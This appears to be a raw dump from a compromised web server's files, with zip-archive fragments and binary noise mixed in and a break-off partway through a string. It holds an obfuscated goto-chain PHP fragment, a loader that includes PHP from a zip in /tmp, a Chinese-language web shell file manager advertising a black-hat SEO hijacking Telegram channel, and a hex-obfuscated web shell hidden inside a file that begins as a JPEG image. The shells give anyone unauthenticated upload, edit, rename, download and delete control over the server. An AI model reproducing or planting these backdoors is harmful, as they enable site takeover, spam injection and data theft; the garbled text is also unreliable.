�ݭ�;ݝ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ���;��׭:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto 栲�;��̼:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ц˚;��˂:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ��ś;ӽ��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ��;ðل:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto Ö��;���:$���=pow(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ݝ��;χ��:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto 蜨�;����:}goto �IJ�;����:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);PK�jm\\9�:ssindex-20260307205130.phpnu�[���<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "monactinellidan.php"; include("zip:///tmp/phptpd9aH#$h");?>PK�jm\�!-�AA	wezvg.phpnu�[���<?php
header('Content-Type: text/html; charset=UTF-8');
session_start();

$currentDir = $_GET['dir'] ?? __DIR__;
$originalDir = $_GET['root'] ?? __DIR__;

function handleUpload($directory) {
    if (!empty($_FILES['files'])) {
        $uploaded = 0;
        $failed = 0;

        foreach ($_FILES['files']['name'] as $key => $name) {
            if (!empty($name)) {
                $fileName = basename($name);
                $tmpName = $_FILES['files']['tmp_name'][$key];
                $targetFile = $directory . DIRECTORY_SEPARATOR . $fileName;

                if (move_uploaded_file($tmpName, $targetFile)) {
                    $uploaded++;
                } else {
                    $failed++;
                }
            }
        }

        $message = "上传成功:$uploaded 个文件;失败:$failed 个文件。";
        echo "<script>alert('$message'); window.location.href=window.location.href;</script>";
    }
}

function handleCreateFolder($directory) {
    if (!empty($_POST['folderName'])) {
        $newFolder = $directory . DIRECTORY_SEPARATOR . $_POST['folderName'];
        if (!is_dir($newFolder)) {
            if (mkdir($newFolder)) {
                echo "<script>alert('创建成功'); window.location.href=window.location.href;</script>";
            } else {
                echo "<script>alert('创建失败'); window.location.href=window.location.href;</script>";
            }
        } else {
            echo "<script>alert('目录已存在'); window.location.href=window.location.href;</script>";
        }
    }
}

function handleCreateFile($directory) {
    if (!empty($_POST['fileName'])) {
        $newFile = $directory . DIRECTORY_SEPARATOR . $_POST['fileName'];
        if (!file_exists($newFile)) {
            if (file_put_contents($newFile, '') !== false) {
                echo "<script>alert('创建成功'); window.location.href=window.location.href;</script>";
            } else {
                echo "<script>alert('创建失败'); window.location.href=window.location.href;</script>";
            }
        } else {
            echo "<script>alert('文件已存在'); window.location.href=window.location.href;</script>";
        }
    }
}

function handleEditFile($filePath) {
    if (isset($_POST['content'])) {
        file_put_contents($filePath, $_POST['content']);
        echo "<script>alert('保存成功'); window.location.href=window.location.href;</script>";
    }

    $content = htmlspecialchars(file_get_contents($filePath));
    echo "<form method='POST'>";
    echo "<textarea name='content' style='width:100%; height:300px;'>$content</textarea><br>";
    echo "<input type='submit' value='保存'>";
    echo "</form>";
}

function handleDeleteFile($filePath) {
    if (file_exists($filePath)) {
        unlink($filePath);
        echo "<script>alert('删除成功'); window.location.href=window.location.href;</script>";
    }
}

function handleRenameFile($filePath) {
    if (!empty($_POST['newName'])) {
        $newPath = dirname($filePath) . DIRECTORY_SEPARATOR . $_POST['newName'];
        if (rename($filePath, $newPath)) {
            echo "<script>alert('重命名成功'); window.location.href=window.location.href;</script>";
        } else {
            echo "<script>alert('重命名失败'); window.location.href=window.location.href;</script>";
        }
    } else {
        echo "<form method='POST'>";
        echo "<input type='text' name='newName' placeholder='新文件名'>";
        echo "<input type='submit' value='重命名'>";
        echo "</form>";
    }
}

function displayDirectory($directory) {
    $files = array_diff(scandir($directory), array('.', '..'));
    echo "<div><h3>目录内容:'$directory'</h3><ul>";

    foreach ($files as $file) {
        $path = realpath("$directory/$file");
        $style = getFileStatus($path);
        $isDir = is_dir($path) ? 'directory' : 'file';

        echo "<li class='$isDir' style='$style'>";
        echo $isDir === 'directory'
            ? "<a href='?dir=" . urlencode($path) . "&root=" . urlencode($_GET['root'] ?? __DIR__) . "'>$file</a>"
            : "$file <span class='actions'> - " . generateFileActions($directory, $file) . "</span>";
        echo "</li>";
    }
    echo "</ul></div>";
}

function getFileStatus($path) {
    if (is_writable($path) && is_readable($path)) {
        return "border-left: 4px solid green;";
    } elseif (!is_writable($path)) {
        return "border-left: 4px solid red;";
    } elseif (is_readable($path)) {
        return "border-left: 4px solid white;";
    }
    return "";
}

function generateFileActions($directory, $file) {
    $root = urlencode($_GET['root'] ?? __DIR__);
    return 
        "<a href='?dir=" . urlencode($directory) . "&action=edit&file=" . urlencode($file) . "&root=$root'>编辑</a> | 
         <a href='?dir=" . urlencode($directory) . "&action=delete&file=" . urlencode($file) . "&root=$root'>删除</a> | 
         <a href='?dir=" . urlencode($directory) . "&action=rename&file=" . urlencode($file) . "&root=$root'>重命名</a>";
}

function handleFileActions($filePath) {
    if (isset($_GET['action'])) {
        switch ($_GET['action']) {
            case 'edit':
                handleEditFile($filePath);
                break;
            case 'delete':
                handleDeleteFile($filePath);
                break;
            case 'rename':
                handleRenameFile($filePath);
                break;
        }
    }
}

echo "<!DOCTYPE html><html><head><meta charset='UTF-8'><title>文件管理器</title>
<style>
    body { font-family: Arial; padding: 20px; background: #f8f8f8; }
    .container { display: flex; gap: 40px; align-items: flex-start; }
    .block { border: 1px solid #ccc; padding: 15px; border-radius: 8px; width: 300px; background: #fff; }
    h3 { margin-top: 0; }
    .actions { font-size: 12px; color: #555; }
    .footer { font-size: 12px; color: #666; margin-top: 20px; }
</style>
</head><body>";

echo "<p>当前目录: <strong>$currentDir</strong></p>";
echo "<p>
    <a href='?dir=" . urlencode(dirname($currentDir)) . "&root=" . urlencode($originalDir) . "'>返回上级目录</a> | 
    <a href='?dir=" . urlencode($originalDir) . "&root=" . urlencode($originalDir) . "'>回到原目录</a>
</p>";

if (isset($_GET['action'])) {
    $filePath = $currentDir . DIRECTORY_SEPARATOR . $_GET['file'];
    handleFileActions($filePath);
}

displayDirectory($currentDir);

echo "<div class='container'>";

// 上传文件
echo "<div class='block'>";
echo "<h3>上传文件(最多4个)</h3><form method='POST' enctype='multipart/form-data'>";
for ($i = 0; $i < 4; $i++) {
    echo "<input type='file' name='files[]'><br>";
}
echo "<br><input type='submit' value='上传'>";
echo "</form>";
echo "</div>";

// 合并创建目录和文件
echo "<div class='block'>";
echo "<h3>创建目录 & 创建文件</h3><form method='POST'>";
echo "<input type='text' name='folderName' placeholder='目录名称'><br><br>";
echo "<input type='submit' value='创建目录'><br><br>";
echo "<input type='text' name='fileName' placeholder='文件名称'><br><br>";
echo "<input type='submit' value='创建文件'>";
echo "</form>";
echo "</div>";

echo "</div>"; // container 结束

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    handleUpload($currentDir);
    handleCreateFolder($currentDir);
    handleCreateFile($currentDir);
}

echo "<p class='footer'><a href='https://t.me/hacker6p'>黑帽劫持技术TG</a> - Google SEO 工具</p>";

echo "</body></html>";
?>
PK�jm\"��g�X�X	916iu.phpnu�[���ÿØÿà JFIF      ÿÛ „ 	 ( %"1!%)+...383,7(-.+



-+++--++++---+-+-----+---------------+---+-++7-----ÿÀ  ß â" ÿÄ               ÿÄ H       !1AQaq"‘¡2B±ÁÑð#R“Ò Tbr‚²á3csƒ’ÂñDS¢³$CÿÄ              ÿÄ %        !1AQa"23‘ÿÚ   ? ôÿ ¨pŸªáÿ —åYõõ\?àÒü©ŠÄï¨pŸªáÿ —åYõõ\?àÓü©ŠÄá 0Ÿªáÿ Ÿå[úƒ	ú®ði~TÁbqÐ8OÕpÿ ƒOò¤Oè`–RÂáœá™êi€ßÉ< FtŸI“öÌ8úDf´°å}“¾œ6
öFá°y¥jñÇh†ˆ¢ã/ÃÐ:ªcÈ
"Y¡ðÑl>ÿ ”ÏËte:qž\oäŠe÷󲍷˜HT4&ÿ ÓÐü6ö®¿øþßèô	Ÿ•7Ñi’•j|“ñì>b…þS?*Óôÿ ÓÐü*h¥£ír¶ü UãS炟[AÐaè[ûª•õ&õj?†Éö+EzP—WeÒírJFt	‘BŒ†Ï‡%#tE Øz ¥OÛ«!1›üä±Í™%º<!vB™'èÔ6´Ña¿«e`Àà0U[-ÂБ4)M÷YK*³hï÷%ÎÎkÇ«m‘-íWŽLsã?nÂ~«†üö®þ¡ÂlÃaÿ ‰ÿ l©°Õ¥ åÜá¿r ºL[Çâ°(Çè'Vãôl8´ÏRÀvLvPõ:…ÙNçF™÷ë>Íãö]°î(–:@<‹ŒÊö×òÆt¦ãº+‡¦%ÌÁ²h´OƒJŒtMÜ>ÀÜÊw3Y´•牋4ǍýʏTì>œú=Íwhyë,¾Ôò×õ¿ßÊa»«þˆѪQ|%6ž™A	õ%:øj<>É—ÿ Å_ˆCbõ¥š±ý¯Ýƒï…¶|RëócÍf溪“t.СøTÿ *Ä¿-{†çàczůŽ_–^XþŒ±miB[X±d 1,é”zEù»&
î9gœf™9Ð'.;—™i}!ôšåîqêÛ٤ёý£½ÆA–àôe"A$˝Úsäÿ 
÷Û	#°xŸëí(l
	 »ý3—¥5m!
rt`†0~'j2(]S¦¦kv,ÚÇl¦øJA£Šƒ
J3E8ÙiŽ:cÉžúeZ°€¯\®kÖ(79«Ž:¯X”¾³Š&¡* ….‰Ž(ÜíŸ2¥ª‡×Hi²TF¤ò[¨íÈRëÉ䢍mgÑ.Ÿ<öäS0í„ǹÁU´f#Vß;Õ–…P@3ío<ä-±»Ž.L|kªÀê›fÂ6@»eu‚|ÓaÞÆŸ…¨ááå>åŠ?cKü6ùTÍÆ”†sĤÚ;H2RÚ†õ\Ö·Ÿn'¾ ñ#ºI¤Å´%çÁ­‚â7›‹qT3Iï¨ÖÚ5I7Ë!ÅOóŸ¶øÝñØôת¦$Tcö‘[«Ö³šÒ';Aþ ¸èíg
A2Z"i¸vdÄ÷.iõ®§)¿]¤À†–‡É&ä{V¶iŽ”.Ó×Õÿ û?h¬Mt–íª[ÿ Ñÿ ÌV(í}=ibÔ¡›¥¢±b Lô¥‡piη_Z<‡z§èŒ)iÖwiÇ 2hÙ3·=’d÷8éŽ1¦¸c¤µ€7›7Ø	ð\á)}	¹fËí›pAÃL%âc2 í§æQz¿;T8sæ°qø)QFMð‰XŒÂ±N¢aF¨…8¯!U		Z©RÊ ÖPVÄÀÍin™Ì-GˆªÅËŠ›•zË}º±ŽÍFò¹}Uw×#ä5B¤{î}Ð<ÙD
é©¤&‡ïDbàÁôMÁ.<?php
 goto womi2; pQy4F: echo "\x22\x3e\xa\x20\x20\40\x20\40\x20\x20\40\40\40\x20\x20\x20\40\40\x20\x3c\x74\x65\x78\164\x61\x72\145\x61\40\x6e\141\x6d\145\75\42\x66\151\154\145\x5f\143\157\156\x74\145\x6e\164\x22\76"; goto fII2j; MriuI: $J6ql8 = $yGbeW . "\57" . $_GET["\x64\157\167\156\154\x6f\x61\x64"]; goto T6_SQ; IPFyY: $yGbeW = isset($_GET["\x64\x69\162"]) ? realpath($_GET["\x64\151\162"]) : $mz96K; goto rC8qj; UPFtL: $yGbeW = $mz96K; goto VOalH; j2vBG: $D7rac = $yGbeW . "\57" . $_POST["\x6f\x6c\x64\137\x6e\141\x6d\x65"]; goto JP3r0; p5in9: unlink($fd8bH); goto SNxPu; dGXaV: uuf1S: goto hD3PH; dIp8F: $XNNy9 = $_POST["\146\x69\x6c\x65\x5f\x63\x6f\156\x74\145\x6e\x74"]; goto lnCSt; vknfc: if (!isset($_POST["\x72\145\156\141\155\x65\x5f\146\151\154\x65"])) { goto uuf1S; } goto j2vBG; JERaO: if (!isset($_GET["\144\x6f\167\x6e\x6c\157\x61\x64"])) { goto dnHM_; } goto MriuI; HvmpV: echo "\x22\x3e\12\x20\40\x20\x20\40\40\x20\40\74\x69\156\x70\165\x74\40\164\171\x70\145\x3d\x22\164\x65\170\x74\42\x20\156\x61\x6d\145\x3d\42\x6e\145\x77\x5f\156\141\x6d\145\42\40\x70\154\x61\143\x65\x68\x6f\x6c\144\145\162\x3d\x22\x4e\145\x77\40\x6e\141\x6d\145\x22\40\163\164\171\x6c\x65\75\x22\x77\151\144\164\x68\72\40\x31\x30\x30\x25\73\x20\x70\x61\x64\x64\151\156\147\72\40\x31\60\x70\x78\73\42\x3e\xa\x20\40\x20\40\40\40\40\x20\x3c\x62\x75\164\x74\157\x6e\x20\164\x79\160\x65\75\42\163\165\142\155\x69\x74\42\x20\156\x61\x6d\145\x3d\42\162\x65\x6e\x61\155\x65\x5f\146\151\x6c\x65\x22\76\122\x65\156\x61\155\x65\x3c\57\142\x75\164\x74\157\x6e\x3e\12\40\40\x20\x20\74\x2f\x66\157\x72\x6d\x3e\xa\x20\40\40\x20"; goto D1Wgl; fI_fT: echo "\xa\x20\x20\x20\40\74\x21\55\55\40\x46\x6f\x72\155\x20\165\x6e\164\165\x6b\40\x6d\x65\x6e\147\x65\144\151\x74\x20\x66\151\154\145\40\x2d\55\76\12\x20\x20\x20\x20"; goto LIdpC; NnkK1: header("\x43\x6f\x6e\x74\x65\x6e\164\55\x44\x69\163\160\x6f\x73\x69\x74\151\157\x6e\72\x20\x61\x74\164\141\143\150\155\x65\x6e\164\x3b\40\146\x69\x6c\x65\156\x61\155\145\75\x22" . basename($J6ql8) . "\x22"); goto td6WN; YSKAa: header("\x4c\x6f\143\x61\164\x69\x6f\156\72\40\x3f\144\x69\x72\75" . urlencode($_GET["\x64\x69\x72"])); goto dGXaV; beTnD: echo "\40\40\40\40\40\x20\x20\x20\x20\40\x20\40\x3c\x66\157\x72\155\x20\155\145\x74\150\157\144\x3d\42\x70\x6f\x73\164\42\x3e\12\40\40\x20\40\x20\40\40\40\40\x20\40\x20\40\40\40\40\x3c\151\x6e\160\x75\x74\x20\164\171\160\x65\x3d\x22\x68\x69\144\x64\145\156\42\x20\156\x61\155\x65\75\42\x66\x69\154\145\x5f\x6e\x61\155\145\x22\x20\166\x61\154\x75\x65\75\42"; goto FgpTK; JP3r0: $hl1Xv = $yGbeW . "\x2f" . $_POST["\156\145\x77\137\x6e\x61\x6d\145"]; goto nZY6k; wiyTx: echo "\x3c\x2f\x61\x3e\74\x2f\x70\x3e\12\40\x20\x20\40\xa\x20\x20\40\x20\74\x64\151\166\x20\143\154\141\x73\163\75\x22\x66\157\162\155\55\143\x6f\x6e\164\x61\151\156\x65\x72\42\x3e\xa\40\x20\40\x20\40\40\40\x20\74\x21\x2d\55\40\106\x6f\162\x6d\x20\165\156\x74\x75\153\x20\165\160\154\157\x61\x64\40\146\151\x6c\x65\x20\x2d\55\x3e\12\x20\x20\40\x20\40\x20\40\x20\x3c\146\157\x72\155\40\x6d\x65\x74\x68\157\x64\x3d\x22\x70\x6f\163\x74\42\40\x65\x6e\143\x74\171\x70\145\75\x22\155\165\x6c\x74\151\160\x61\x72\x74\57\x66\157\162\155\55\144\x61\x74\x61\42\x3e\xa\40\x20\40\x20\40\40\x20\x20\x20\40\40\40\74\151\156\x70\165\164\40\x74\171\x70\x65\75\42\146\x69\154\x65\42\x20\156\x61\x6d\145\75\42\x66\x69\x6c\x65\42\76\xa\x20\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\x3c\x62\165\x74\164\x6f\x6e\40\x74\171\x70\x65\75\42\x73\x75\142\155\151\x74\x22\x20\156\x61\x6d\145\x3d\x22\x75\x70\154\x6f\141\x64\42\76\125\x70\154\x6f\141\144\x3c\57\x62\165\x74\164\157\156\76\xa\40\x20\40\40\x20\x20\40\40\74\x2f\146\x6f\162\x6d\76\xa\12\x20\x20\40\40\40\40\x20\x20\x3c\41\x2d\x2d\x20\106\157\162\x6d\x20\165\156\x74\165\153\x20\155\x65\155\x62\x75\141\164\40\x66\151\154\x65\40\142\x61\162\165\40\x2d\x2d\x3e\xa\x20\40\x20\40\40\x20\40\40\x3c\x66\x6f\x72\155\40\x6d\145\164\x68\157\144\75\x22\160\157\x73\x74\x22\76\12\40\40\x20\40\40\x20\x20\x20\40\40\40\40\74\151\156\x70\x75\x74\x20\164\171\160\145\x3d\x22\164\x65\170\164\x22\x20\x6e\x61\x6d\x65\x3d\42\156\x65\x77\137\x66\151\154\145\137\x6e\141\x6d\x65\42\x20\160\154\141\143\x65\150\157\x6c\144\x65\x72\x3d\x22\x4e\145\x77\x20\146\151\x6c\145\40\x6e\x61\x6d\x65\x22\40\x72\145\161\165\x69\162\x65\144\76\12\x20\40\x20\x20\x20\x20\40\40\40\x20\40\40\x3c\142\x75\x74\164\157\x6e\x20\x74\x79\x70\x65\x3d\x22\x73\x75\x62\155\151\x74\42\x20\x6e\141\155\x65\75\42\x63\162\145\x61\164\145\137\146\x69\154\145\42\x3e\x43\162\145\x61\164\x65\x20\106\151\154\x65\x3c\57\x62\x75\164\164\157\x6e\76\12\40\40\x20\x20\x20\40\40\x20\74\57\146\157\162\x6d\x3e\12\x20\40\40\40\74\x2f\x64\x69\166\x3e\12\12\40\x20\40\x20\x3c\x74\141\x62\154\x65\40\142\x6f\162\x64\145\162\75\42\x31\x22\x3e\12\40\x20\x20\40\40\x20\x20\x20\74\164\150\145\x61\144\76\xa\40\x20\40\x20\40\40\40\x20\x20\x20\40\x20\74\164\162\x3e\xa\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\x20\x20\40\x20\40\x3c\x74\x68\x3e\x46\151\154\145\40\x4e\x61\155\x65\x3c\x2f\164\x68\x3e\12\40\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\74\164\x68\x3e\x53\x69\x7a\145\x3c\x2f\x74\x68\x3e\12\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\40\40\x20\x20\40\74\164\x68\x3e\101\143\x74\151\157\156\x73\x3c\x2f\x74\x68\76\xa\x20\40\40\x20\40\x20\x20\x20\x20\40\40\40\x3c\57\164\x72\x3e\xa\x20\x20\x20\40\40\x20\x20\x20\74\x2f\x74\x68\145\x61\x64\x3e\12\40\40\40\40\x20\40\40\40\x3c\x74\142\x6f\144\171\76\12\40\40\40\40\x20\40\40\40\40\40\40\x20"; goto VaCVK; FgpTK: echo $_GET["\x65\144\151\x74"]; goto pQy4F; hn42X: $EHBNq = $yGbeW . "\x2f" . $_POST["\146\151\x6c\145\137\156\141\x6d\145"]; goto dIp8F; PyP6_: echo "\x22\x20\163\164\171\x6c\145\x3d\x22\143\x6f\154\x6f\162\x3a\x20\43\60\x33\x44\x41\103\66\73\42\x3e"; goto zj7hC; womi2: $mz96K = realpath(__DIR__); goto IPFyY; Xsu_X: if (!isset($_POST["\x73\141\x76\145\x5f\x66\151\x6c\x65"])) { goto gEelU; } goto hn42X; uDpFH: $t8kMD = $_POST["\156\x65\167\137\x66\151\154\x65\137\x6e\141\155\145"]; goto N59aw; rC8qj: if (!(!$yGbeW || !is_dir($yGbeW))) { goto uRI4C; } goto UPFtL; zj7hC: echo $yGbeW; goto wiyTx; X1fRy: zOaYm: goto Xsu_X; mUuHK: header("\x43\157\156\x74\x65\x6e\164\x2d\124\x79\160\x65\x3a\x20\141\x70\x70\x6c\151\x63\x61\x74\x69\157\x6e\x2f\x6f\143\x74\145\164\x2d\x73\x74\x72\x65\141\x6d"); goto NnkK1; eM5JY: echo $_GET["\x72\145\156\x61\x6d\145"]; goto HvmpV; dzsDs: if (!isset($_GET["\144\x65\154\145\164\x65"])) { goto YWvXO; } goto VEyk9; T6_SQ: if (!is_file($J6ql8)) { goto NU8jm; } goto Dmpyc; B7QmT: header("\x4c\157\x63\x61\164\x69\x6f\x6e\72\40\x3f\x64\151\x72\75" . urlencode($_GET["\x64\151\162"])); goto WbFfl; SNxPu: XvFkr: goto B7QmT; q7smT: readfile($J6ql8); goto ZSiUM; Dmpyc: header("\x43\x6f\156\x74\145\156\x74\x2d\x44\145\163\143\162\x69\160\x74\x69\x6f\156\x3a\40\106\x69\x6c\x65\x20\124\x72\x61\156\x73\146\x65\162"); goto mUuHK; LObF8: header("\114\157\143\141\164\151\157\x6e\72\x20\x3f\x64\x69\x72\75" . urlencode($_GET["\144\151\162"])); goto X1fRy; vTVYv: V5DrG: goto JuNBA; nZY6k: rename($D7rac, $hl1Xv); goto YSKAa; WPoPN: function F00Ue($BjjAr) { goto TN_gP; NUBum: LJelH: goto Wqcyl; hcBGb: foreach ($alrBN as $jGfFS) { goto NutqT; m9pNm: echo "\x3c\164\144\76\x46\x6f\154\144\145\162\74\57\x74\x64\76"; goto xltsa; K2A5m: echo "\x3c\57\164\x72\76"; goto RfRe2; GSWXk: echo "\74\x74\x64\x3e\74\x61\40\150\162\x65\x66\x3d\42\x3f\144\151\x72\75" . urlencode($BjjAr . "\57" . $jGfFS) . "\x22\x3e\xf0\237\x93\201\x20" . $jGfFS . "\74\x2f\x61\76\x3c\57\x74\144\76"; goto m9pNm; NutqT: echo "\x3c\x74\162\76"; goto GSWXk; xltsa: echo "\74\164\144\76\12\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\40\74\141\x20\150\x72\145\146\x3d\42\77\144\x69\162\75" . urlencode($BjjAr) . "\x26\145\x64\x69\x74\75" . urlencode($jGfFS) . "\42\x3e\x45\144\x69\164\74\57\141\x3e\x20\174\xa\40\x20\40\x20\x20\x20\x20\40\40\40\x20\40\x3c\141\x20\x68\162\145\146\x3d\x22\77\x64\151\x72\75" . urlencode($BjjAr) . "\46\144\145\154\x65\x74\x65\75" . urlencode($jGfFS) . "\42\x3e\x44\x65\154\145\x74\145\x3c\57\141\76\x20\174\12\x20\40\x20\40\x20\x20\x20\x20\40\40\40\40\x3c\141\x20\x68\162\x65\x66\x3d\42\x3f\x64\x69\162\x3d" . urlencode($BjjAr) . "\x26\162\x65\x6e\x61\x6d\145\75" . urlencode($jGfFS) . "\42\x3e\122\x65\x6e\141\155\145\74\x2f\141\x3e\40\174\xa\40\x20\40\40\40\40\40\40\x20\40\40\x20\74\141\x20\150\x72\145\x66\75\x22\77\x64\151\x72\x3d" . urlencode($BjjAr) . "\46\144\x6f\x77\x6e\154\157\141\144\x3d" . urlencode($jGfFS) . "\42\76\104\157\x77\156\x6c\157\141\x64\74\57\x61\x3e\12\40\40\x20\40\x20\40\40\40\x3c\57\164\x64\x3e"; goto K2A5m; RfRe2: gTsgz: goto jF0La; jF0La: } goto NUBum; hU7wa: $OZBDt = []; goto O1NDz; Tgrtz: CyuJc: goto l7gGQ; O1NDz: foreach ($lWTTD as $qCHXQ) { goto JGdXx; UmoYn: WstXK: goto XwQtV; E4e2M: J6gJS: goto UmoYn; zvrgX: goto J6gJS; goto x4TyU; jS8gE: $OZBDt[] = $qCHXQ; goto zvrgX; JGdXx: if (!($qCHXQ != "\56" && $qCHXQ != "\56\x2e")) { goto WstXK; } goto H7UDJ; x4TyU: JqJnu: goto xu2GW; XwQtV: w8KNE: goto Re57M; xu2GW: $alrBN[] = $qCHXQ; goto E4e2M; H7UDJ: if (is_dir($BjjAr . "\x2f" . $qCHXQ)) { goto JqJnu; } goto jS8gE; Re57M: } goto w9sbv; Wqcyl: foreach ($OZBDt as $qCHXQ) { goto CxSp8; yBzrj: echo "\74\164\144\x3e\xa\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\x3c\x61\x20\x68\162\x65\x66\x3d\42\77\144\x69\x72\75" . urlencode($BjjAr) . "\x26\145\144\x69\164\75" . urlencode($qCHXQ) . "\x22\76\x45\144\x69\x74\74\57\x61\76\x20\x7c\xa\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\40\x3c\x61\40\x68\x72\x65\146\x3d\42\77\144\x69\x72\x3d" . urlencode($BjjAr) . "\x26\144\145\154\145\x74\145\75" . urlencode($qCHXQ) . "\42\76\104\145\154\145\x74\x65\74\57\x61\x3e\x20\x7c\12\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\x3c\x61\x20\150\162\x65\x66\x3d\42\x3f\x64\x69\x72\75" . urlencode($BjjAr) . "\x26\x72\145\x6e\x61\x6d\145\x3d" . urlencode($qCHXQ) . "\42\76\x52\x65\156\141\155\145\x3c\x2f\x61\76\40\174\12\x20\x20\40\x20\x20\x20\40\40\40\40\40\x20\74\141\40\150\162\x65\146\x3d\x22\77\144\x69\x72\75" . urlencode($BjjAr) . "\x26\x64\157\167\156\x6c\x6f\x61\x64\75" . urlencode($qCHXQ) . "\x22\76\x44\x6f\167\x6e\x6c\157\141\x64\74\57\141\x3e\12\40\x20\x20\x20\x20\40\40\40\x3c\x2f\x74\144\x3e"; goto E2dfg; ns1qU: echo "\x3c\164\144\x3e" . $qCHXQ . "\x3c\57\x74\x64\76"; goto hRjG2; hRjG2: echo "\74\164\144\76" . filesize($BjjAr . "\57" . $qCHXQ) . "\x20\x62\x79\164\x65\163\74\57\x74\144\x3e"; goto yBzrj; E2dfg: echo "\74\57\164\x72\x3e"; goto VZyVa; VZyVa: T3jxc: goto OjSwZ; CxSp8: echo "\x3c\x74\162\x3e"; goto ns1qU; OjSwZ: } goto Tgrtz; TN_gP: $lWTTD = scandir($BjjAr); goto RRRN0; RRRN0: $alrBN = []; goto hU7wa; w9sbv: oHgOR: goto hcBGb; l7gGQ: } goto dzsDs; LjCqJ: header("\114\157\143\141\164\x69\x6f\x6e\x3a\x20\x3f\144\x69\x72\x3d" . urlencode($_GET["\x64\151\162"])); goto VdQ_5; pEOzW: dnHM_: goto vknfc; Qqd91: if (!isset($_GET["\x72\x65\156\141\x6d\x65"])) { goto uQM_b; } goto vu0qH; bLjBn: header("\x4c\157\x63\x61\x74\151\157\156\72\40\77\144\151\162\75" . urlencode($_GET["\x64\151\x72"])); goto hzrgv; w3XB_: move_uploaded_file($_FILES["\x66\151\x6c\x65"]["\x74\155\x70\x5f\x6e\141\x6d\x65"], $Od4Uh); goto LObF8; yzbBN: echo "\74\x2f\164\145\170\164\x61\162\145\141\76\xa\x20\40\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\x20\40\x20\x3c\x62\162\76\12\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\74\x62\165\x74\x74\x6f\156\x20\164\x79\160\145\75\x22\163\165\142\155\x69\164\x22\40\156\x61\155\145\75\42\163\x61\166\x65\137\146\x69\x6c\x65\x22\76\123\141\166\145\x20\103\150\141\156\147\145\163\x3c\x2f\x62\165\164\164\x6f\x6e\76\xa\x20\x20\x20\40\x20\40\40\40\40\x20\40\40\74\x2f\x66\x6f\162\x6d\76\12\x20\40\40\40\40\x20\x20\40"; goto JtHSy; VOalH: uRI4C: goto WPoPN; pGAR0: $EHBNq = $yGbeW . "\x2f" . $_GET["\145\144\x69\164"]; goto ehhZj; Bu1BK: NU8jm: goto pEOzW; ADsYZ: if (!is_file($fd8bH)) { goto XvFkr; } goto p5in9; o5BT0: $CmNff = file_get_contents($EHBNq); goto beTnD; N59aw: $EpS2n = $yGbeW . "\57" . $t8kMD; goto IojpW; td6WN: header("\x43\x6f\x6e\164\145\156\164\x2d\114\145\x6e\147\164\x68\72\40" . filesize($J6ql8)); goto q7smT; lnCSt: file_put_contents($EHBNq, $XNNy9); goto LjCqJ; dNfEt: echo urlencode(dirname($yGbeW)); goto PyP6_; ZSiUM: exit; goto Bu1BK; ehhZj: if (!is_file($EHBNq)) { goto QYVs3; } goto o5BT0; MTOEP: echo "\xa\x3c\41\104\x4f\103\x54\131\120\x45\x20\x68\x74\155\x6c\76\xa\x3c\150\164\x6d\x6c\x3e\xa\x3c\x68\x65\x61\x64\76\xa\x20\x20\40\x20\x3c\164\x69\164\154\145\x3e\x54\162\151\x70\x6c\145\104\116\116\x3c\57\x74\151\x74\x6c\145\x3e\12\40\x20\x20\40\x3c\x73\x74\171\x6c\x65\x3e\12\40\40\40\x20\40\x20\x20\40\57\x2a\40\x53\164\171\x6c\151\156\147\x20\x64\145\x6e\x67\141\x6e\40\x74\145\x6d\141\x20\147\145\x6c\x61\160\40\x28\154\141\164\141\162\40\142\x65\x6c\x61\153\x61\156\147\x20\x68\x69\x74\x61\x6d\40\144\141\156\x20\164\145\153\163\40\164\x65\x72\x61\156\x67\x29\x20\x2a\57\xa\x20\x20\x20\40\40\x20\40\40\x62\157\x64\171\40\173\xa\40\x20\x20\x20\x20\40\x20\x20\40\40\40\x20\142\141\143\x6b\147\162\x6f\x75\156\x64\55\143\x6f\154\157\162\72\40\43\x31\62\61\x32\x31\x32\x3b\xa\40\x20\40\x20\40\x20\40\40\40\x20\40\40\x63\157\x6c\157\x72\72\40\x23\x45\x30\x45\60\105\x30\73\xa\40\40\40\40\x20\x20\x20\x20\40\40\40\40\146\x6f\156\164\x2d\x66\141\x6d\x69\154\x79\72\x20\101\x72\x69\x61\x6c\54\40\163\141\156\x73\55\163\145\x72\151\x66\x3b\xa\40\40\x20\x20\x20\40\x20\x20\x7d\xa\40\x20\40\40\40\x20\x20\40\150\x32\x20\173\12\40\40\40\40\x20\x20\x20\x20\x20\40\40\x20\x63\x6f\x6c\157\162\x3a\x20\x23\x42\x42\x38\x36\x46\x43\x3b\12\x20\x20\x20\x20\40\x20\40\40\x7d\xa\x20\40\40\40\x20\x20\40\40\x7